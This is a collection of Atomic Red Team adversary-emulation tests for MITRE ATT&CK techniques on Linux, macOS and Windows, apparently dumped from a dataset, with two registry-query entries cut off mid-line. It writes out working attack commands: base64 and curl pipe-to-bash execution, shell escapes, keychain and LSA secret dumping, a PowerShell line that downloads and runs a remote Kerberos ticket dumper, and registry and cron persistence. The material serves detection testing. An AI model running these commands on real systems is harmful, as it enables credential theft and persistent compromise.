deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Obfuscated command line scripts
Platforms: linux
Executor: sh

Description:
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.


Command:
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Change login shell
Platforms: linux
Executor: bash

Description:
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. 


Command:
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art


Cleanup:
[ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art


Dependencies:
chsh - change login shell, must be installed
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Environment variable scripts
Platforms: linux
Executor: sh

Description:
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash


Command:
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh


Cleanup:
unset ART
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Detecting pipe-to-shell
Platforms: linux
Executor: sh

Description:
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.


Command:
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      


Cleanup:
rm /tmp/art.txt


Dependencies:
Check if curl is installed on the machine.
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Current kernel information enumeration
Platforms: linux
Executor: sh

Description:
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.


Command:
uname -srm
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Shell Creation using awk command
Platforms: linux, macos
Executor: sh

Description:
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command:
awk 'BEGIN {system("/bin/sh &")}'
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Creating shell using cpan command
Platforms: linux, macos
Executor: sh

Description:
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/

Command:
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Shell Creation using busybox command
Platforms: linux
Executor: sh

Description:
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. 
Reference - https://gtfobins.github.io/gtfobins/busybox/

Command:
busybox sh &
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: emacs spawning an interactive system shell
Platforms: linux, macos
Executor: sh

Description:
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/  


Command:
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Dependencies:
Check if emacs is installed on the machine.
Atomic Red Team — T1012: Query Registry
Test: Query Registry
Platforms: windows
Executor: command_prompt

Description:
Query Windows Registry.
Upon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS).
References:
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services
http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf
https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf


Command:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
reg query HKLM\Software\Microsoft\Windows\Curre
Atomic Red Team — T1012: Query Registry
Test: Query Registry with Powershell cmdlets
Platforms: windows
Executor: powershell

Description:
Query Windows Registry with Powershell cmdlets, i.e., Get-Item and Get-ChildItem. The results from above can also be achieved with Get-Item and Get-ChildItem.
Unlike using "reg query" which then executes reg.exe, using cmdlets won't generate new processes, which may evade detection systems monitoring process generation. 


Command:
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\" | findstr Windows
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
Get-Item -Path "HKCU:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlo
Atomic Red Team — T1012: Query Registry
Test: Enumerate COM Objects in Registry with Powershell
Platforms: windows
Executor: powershell

Description:
This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.
An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. 
See: https://www.mandiant.com/resources/hunting-com-objects

Command:
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt
ForEach($CLSID in Get-Content "$env:temp\clsids.txt")
{try{write-output "$($Position)-$($CLSID)"
write-output "------------"| out-file #{output_file} -append
write-output $($CLSID)| out-file #{output_file} -append
$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append
$position += 1} catch{}}


Cleanup:
remove-item #{output_file} -force -erroraction silentlycontinue
remove-item $env:temp\clsids.txt -force -erroraction silentlycontinue
Atomic Red Team — T1012: Query Registry
Test: Reg query for AlwaysInstallElevated status
Platforms: windows
Executor: command_prompt

Description:
The reg query commands allows to check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus allowing a regular user to install a Microsoft Windows Installer package with system level privileges. This can be abused by an attacker to escalate privileges in the host to SYSTEM level.

Command:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Atomic Red Team — T1012: Query Registry
Test: Check Software Inventory Logging (SIL) status via Registry
Platforms: windows
Executor: command_prompt

Description:
Microsoft's Software Inventory Logging (SIL) collects information about software installed per host basis. Adversary can use such logs to passively 
check for existence of software of interest to them. Status of SIL can be checked via registry.
[Reference](https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/)


Command:
reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64
Atomic Red Team — T1012: Query Registry
Test: Inspect SystemStartOptions Value in Registry
Platforms: windows
Executor: command_prompt

Description:
The objective of this test is to query the SystemStartOptions key under HKLM\SYSTEM\CurrentControlSet\Control in the Windows registry. This action could be used to uncover specific details about how the system is configured to start, potentially aiding in understanding boot parameters or identifying security-related settings. key is.

Command:
reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions
# T1569.001 - System Services: Launchctl

## Description from ATT&CK

> Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
> 
> Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)

[Source](https://attack.mitre.org/techniques/T1569/001)

## Atomic Tests

- [Atomic Test #1: Launchctl](#atomic-test-1-launchctl)

### Atomic Test #1: Launchctl

Utilize launchctl

**Supported Platforms:** macOS

**auto_generated_guid:** `6fb61988-724e-4755-a[PII_REDACTED]9d4e2`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_path | Path of the executable to run. | path | /System/Applications/Calculator.app/Contents/MacOS/Calculator|
| label_name | Unique label to assign this job to launchd. | string | evil|

#### Attack Commands: Run with `bash`!

```bash
launchctl submit -l #{label_name} -- #{executable_path}
```

#### Cleanup Commands

```bash
launchctl remove #{label_name}
```
Atomic Red Team — T1569.001: System Services: Launchctl
Test: Launchctl
Platforms: macos
Executor: bash

Description:
Utilize launchctl


Command:
launchctl submit -l #{label_name} -- #{executable_path}


Cleanup:
launchctl remove #{label_name}
Atomic Red Team — T1555.001: Credentials from Password Stores: Keychain
Test: Keychain Dump
Platforms: macos
Executor: sh

Description:
This command will dump keychain credential information from login.keychain. 
Source: https://www.loobins.io/binaries/security/

### Keychain File path
  ~/Library/Keychains/
  /Library/Keychains/
  /Network/Library/Keychains/
  [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)
  

Command:
sudo security dump-keychain -d login.keychain
Atomic Red Team — T1555.001: Credentials from Password Stores: Keychain
Test: Export Certificate Item(s)
Platforms: macos
Executor: sh

Description:
This command finds all certificate items and sends the output to local file in pem format.


Command:
security find-certificate -a -p > #{cert_export}


Cleanup:
rm #{cert_export}
Atomic Red Team — T1555.001: Credentials from Password Stores: Keychain
Test: Import Certificate Item(s) into Keychain
Platforms: macos
Executor: sh

Description:
This command will import a certificate pem file into a keychain.


Command:
security import #{cert_export} -k
Atomic Red Team — T1555.001: Credentials from Password Stores: Keychain
Test: Copy Keychain using cat utility
Platforms: macos
Executor: sh

Description:
This command will copy the keychain using the cat utility in a manner similar to Atomic Stealer.


Command:
cat ~/Library/Keychains/login.keychain-db > #{keychain_export}


Cleanup:
rm #{keychain_export}
Atomic Red Team — T1003.004: OS Credential Dumping: LSA Secrets
Test: Dumping LSA Secrets
Platforms: windows
Executor: command_prompt

Description:
Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.


Command:
"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y


Cleanup:
del %temp%\secrets >nul 2> nul

Dependencies:
PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})
Atomic Red Team — T1003.004: OS Credential Dumping: LSA Secrets
Test: Dump Kerberos Tickets from LSA using dumper.ps1
Platforms: windows
Executor: powershell

Description:
This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.
If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.
Ref: https://github.com/MzHmO/PowershellKerberos/
Author of dumper.ps1: Michael Zhmaylo (@MzHmO)


Command:
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')
# T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)

## Description from ATT&CK

> Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)
> 
> Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

[Source](https://attack.mitre.org/techniques/T1037/001)

## Atomic Tests

- [Atomic Test #1: Logon Scripts](#atomic-test-1-logon-scripts)

### Atomic Test #1: Logon Scripts

Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.

**Supported Platforms:** Windows

**auto_generated_guid:** `d6042746-07d4-4c92-9ad8-e644c114a231`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_path | Path to .bat file | string | %temp%&#92;art.bat|
| script_command | Command To Execute | string | echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%&#92;desktop&#92;T1037.001-log.txt|

#### Attack Commands: Run with `command_prompt`!

```cmd
echo "#{script_command}" > #{script_path}
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
```

#### Cleanup Commands

```cmd
REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
del #{script_path} >nul 2>&1
del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
```
Atomic Red Team — T1037.001: Boot or Logon Initialization Scripts: Logon Script (Windows)
Test: Logon Scripts
Platforms: windows
Executor: command_prompt

Description:
Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.


Command:
echo "#{script_command}" > #{script_path}
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f


Cleanup:
REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
del #{script_path} >nul 2>&1
del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
Atomic Red Team — T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL
Test: Winlogon Shell Key Persistence - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.


Command:
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force


Cleanup:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
Atomic Red Team — T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL
Test: Winlogon Userinit Key Persistence - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.


Command:
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force


Cleanup:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
Atomic Red Team — T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL
Test: Winlogon Notify Key Logon Persistence - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.

Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.


Command:
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "#{binary_to_execute}" -Type ExpandString -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "#{function_to_execute}" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force


Cleanup:
Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore
Atomic Red Team — T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL
Test: Winlogon HKLM Shell Key Persistence - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.


Command:
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force


Cleanup:
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
Atomic Red Team — T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL
Test: Winlogon HKLM Userinit Key Persistence - PowerShell
Platforms: windows
Executor: powershell

Description:
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.


Command:
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force


Cleanup:
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
Atomic Red Team — T1053.003: Scheduled Task/Job: Cron
Test: Cron - Replace crontab with referenced file
Platforms: linux, macos
Executor: sh

Description:
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.


Command:
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}


Cleanup:
crontab /tmp/notevil
Atomic Red Team — T1053.003: Scheduled Task/Job: Cron
Test: Cron - Add script to all cron subfolders
Platforms: macos, linux
Executor: bash

Description:
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.


Command:
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}


Cleanup:
rm /etc/cron.daily/#{cron_script_name} -f
rm /etc/cron.hourly/#{cron_script_name} -f
rm /etc/cron.monthly/#{cron_script_name} -f
rm /etc/cron.weekly/#{cron_script_name} -f
Atomic Red Team — T1053.003: Scheduled Task/Job: Cron
Test: Cron - Add script to /etc/cron.d folder
Platforms: linux
Executor: sh

Description:
This test adds a script to /etc/cron.d folder configured to execute on a schedule.


Command:
echo "#{command}" > /etc/cron.d/#{cron_script_name}


Cleanup:
rm /etc/cron.d/#{cron_script_name} -f